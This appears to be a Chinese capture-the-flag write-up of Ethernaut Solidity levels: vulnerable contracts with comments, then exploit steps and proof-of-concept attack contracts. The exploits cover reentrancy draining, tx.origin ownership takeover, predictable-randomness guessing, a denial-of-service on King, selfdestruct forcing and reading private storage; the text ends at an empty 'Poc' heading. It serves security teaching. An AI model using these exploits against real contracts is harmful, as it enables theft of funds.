pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;//安全运算
mapping(address => uint) public contributions;//地址 贡献值
address payable public owner;//合约所有者
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);//owner的贡献值为1000ether
}
modifier onlyOwner {//只能owner调用
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);//每次转账小于0.001ether
contributions[msg.sender] += msg.value;//贡献值加msg.value
if(contributions[msg.sender] > contributions[owner]) {//需要大于1000ether才能成为owner基本不可能
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {//将合约所有的ether转发给onwer
owner.transfer(address(this).balance);
}
function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);//msg.vale大于零且贡献值大于零
owner = msg.sender;//成为owner
}
}
成为owner,需要先调用contribute()转账一些wei,contract.contribute({value:1})
,成为贡献者,然后直接向合约地址转账,触发fallback函数,就能成为合约owner,最后调用withdraw()contract.withdraw()
,成功完成。
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {//误导,就是一个普通的函数Fal1out(),Fallout才是合约名
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
构造函数名与合约名不同,Fal1out()就成为一个可外部调用的特殊函数,直接调用contract.Fal1out()
就能成为合约owner
/*This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.*/
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));//前一区块的hash值,每次交易可知
if (lastHash == blockValue) {//最后的hash值等于前一块的hash会报错,一次交易只能进行一次猜测
revert();
}
lastHash = blockValue;//lastHash为当前交易的父块hash
uint256 coinFlip = blockValue.div(FACTOR);//父块hash 除 FACTOR赋值给coinFlip
bool side = coinFlip == 1 ? true : false;//coinFlip为1时为true,否则为false
if (side == _guess) {//猜测与计算结果一致,次数加一
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;//猜错一次,正确次数清0
return false;
}
}
}
直接写POC合约,计算出本次交易的结果,然后调用该合约的flip()函数传入计算出的结果,确保每次都正确
pragma solidity ^0.5.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool);
}
contract FlipPoc{
uint8 public successNum;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip CF;
constructor() public{
CF = CoinFlip(0xDdd37fAd74a1C34a1e934872298836415f87E04C);//challenge address
successNum = 0;
}
function exp() public payable{
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
CF.flip(side);
successNum += 1;
}
function() external payable{
}
}
pragma solidity ^0.5.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {//最初交易的发起者不是消息调用者,通过合约调用就能满足
owner = _owner;
}
}
}
changeOwner函数中,if (tx.origin != msg.sender)
只要最初交易的发起者不是消息调用者,通过合约调用就能满足,成功变成owner。
POC
pragma solidity ^0.5.0;
interface Telephone{
function changeOwner(address _owner) external;
}
contract TelePhonePoc {
address addrOfTel = 0x450B2421a005704841Cb405163419C01E4C6D4af;//实例地址
Telephone TelephoneIns;
constructor() public {
TelephoneIns = Telephone(addrOfTel);
}
function exp(address addrOfPlayer) public{
TelephoneIns.changeOwner(addrOfPlayer);
}
}
pragma solidity ^0.5.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);//减法溢出,value大于20就能溢出
balances[msg.sender] -= _value;//溢出,代币增加
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
调用transfer向其他地址转账大于20,就能完成溢出,造成代币增加。
pragma solidity ^0.5.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
DELEGATECALL 会保持调用环境不变的属性表明,调用在Delegate中的函数,由此,调用Delegate中的pwn()函数就能成为该合约的owner。函数签名是 bytes4(keccak256(abi.encode("pwn()"))),结果为0xdd365b8b,调用contract.sendTransaction({data:'0xdd365b8b'})
后,合约执行(bool result, bytes memory data) = address(delegate).delegatecall(msg.data)
,成为owner。
pragma solidity ^0.5.0;
contract Delegate {
bytes public rst;
function poc(string memory str) public returns(bytes memory result){
rst = abi.encodeWithSignature(str);
return rst;
}
}
POC
pragma solidity ^0.5.0;
contract poc{
function exp(address payable addr) public payable {
selfdestruct(addr);
}
function() external payable{
}
}
题目要求合约余额大于零,以太坊合约是一定会接受转账的,使用一个恶意合约调用 selfdestruct(addr),将恶意合约的余额都转账给addr合约。
pragma solidity ^0.5.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
合约的数据都是公开的,状态变量password在slot 1的位置,调用web3.eth.getStorageAt('0xe4B7607e67E7b4Fc90AdB5add050843B59e73838',1,function(x,y){console.log(y)})
得到其十六进制值为0x412076657279207374726f6e67207365637265742070617373776f7264203a29然后调用contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
就能解锁。
pragma solidity ^0.5.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);//转账金额大于prize或者为owner
king.transfer(msg.value);//向king转账msg.value,而不是prize
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.当提交实例的时候,关卡会收回king权,如果可以避免就能成功过关。在fallback函数中,如果转账大于prize或合约owner就能成为king。
尝试1:如果要避免的话,就需要想办法修改owner,prize初始是10^18即1ether,未找到利用点
尝试2:使用Dos攻击,通过恶意合约的fallback函数中调用revert(),使得king.transfer(msg.value)
调用失败,恶意合约将一直是king。
部署好恶意合约后,调用exp时注意提高交易的gas limit,否则会出现out of gas
POC
pragma solidity ^0.4.20;
contract kingPoc {
function exp(address addr,uint256 amount) public payable {
addr.call.value(amount)();//addr为实例地址
}
function() external payable{
revert();//阻塞
}
}
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {//判断余额大于等于数量
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");//条件为真时直接转账,存在重入漏洞
if(result) {
_amount;
}
balances[msg.sender] -= _amount;//未检查溢出
}
}
function() external payable {}
攻击流程:先调用donate,存入余额,然后调用withdraw进行提币,在恶意合约的fallback中再次调用withdraw,重入原合约,继续提币
POC
pragma solidity ^0.5.0;
interface Reentrance {//定义接口,方便调用
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}
contract RentrancePoc{
Reentrance re;
function setInstance(address addr) public{
re = Reentrance(addr);//实例化接口
}
function donation(uint amount) public payable {
re.donate.value(amount)(address(this));//转账1 ether
}
function exp(uint amount) public {
re.withdraw(amount);//提币1 ether
}
function() external payable{
uint8 times = 0;
times += 1;
if(times == 1){
re.withdraw(1000000000000000000);//再次提币1 ether,该合约余额2 ether全部提出
}
}
function withdrawn() public{//转回自己钱包
msg.sender.transfer(address(this).balance);
}
}
pragma solidity ^0.5.0;
interface Building {
function isLastFloor(uint) external returns (bool);//是否为最后一层
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);//Building由自己构造
if (! building.isLastFloor(_floor)) {//第一次building.isLastFloor(_floor)需要为false
floor = _floor;
top = building.isLastFloor(floor);//第二次需要building.isLastFloor(floor)为true
}
}
}
Poc
pragma solidity ^0.5.0;
interface Elevator{
function goTo(uint _floor) external;
}
contract Building{
Elevator elevator = Elevator(0x068bEF681cb61E56ea27403f7C4FE5c64E5Cb61D);
uint8 times = 1;
function isLastFloor(uint num) public returns (bool){
if(num == 8 && times == 1){//第一次调用返回false
times = 2;
return false;
}
else if(num== 8 && times == 2){//第二次调用返回true
times = 1;
return true;
}
else{
times = 1;
return false;
}
}
function goto(uint num) public {
elevator.goTo(num);//调用后top变为true
}
}
pragma solidity ^0.5.0;
contract Privacy {
bool public locked = true;//slot 0
uint256 public ID = block.timestamp;//slot 1
uint8 private flattening = 10;//slot 2
uint8 private denomination = 255;//slot 2
uint16 private awkwardness = uint16(now);//slot 2
bytes32[3] private data;//slot 3 4 5
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));//data[2]是slot 5 处的数据
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
web3.eth.getStorageAt('0xb0D3f2135098AA8114422b8E300e71A4B3715FAB',5,function(x,y){console.log(y)})结果为0xf8db43d250176089bd96f8307d3f68b88b31a35462ca1b9fcd99e32b9af036b0,bytes16= 0xf8db43d250176089bd96f8307d3f68b8,调用unlock(0xf8db43d250176089bd96f8307d3f68b8)。
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);//消息发送者不是交易发起者
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);//以前为msg.gas,gasleft() 交易带的gas值减去交易执行到现在的gas
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
//(2) 低32bit与低16bit相同,则低32位为0x0000E417
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
//(3) 低32bit与总的64bit不同,则高32bit不全为0。
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
//(1) 低16bit为地址后16bit为0xE417,低32bit与低16bit相同,则低32位为0x0000E417
_;//0x001000000000E417 2978293 2978270 24472
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Poc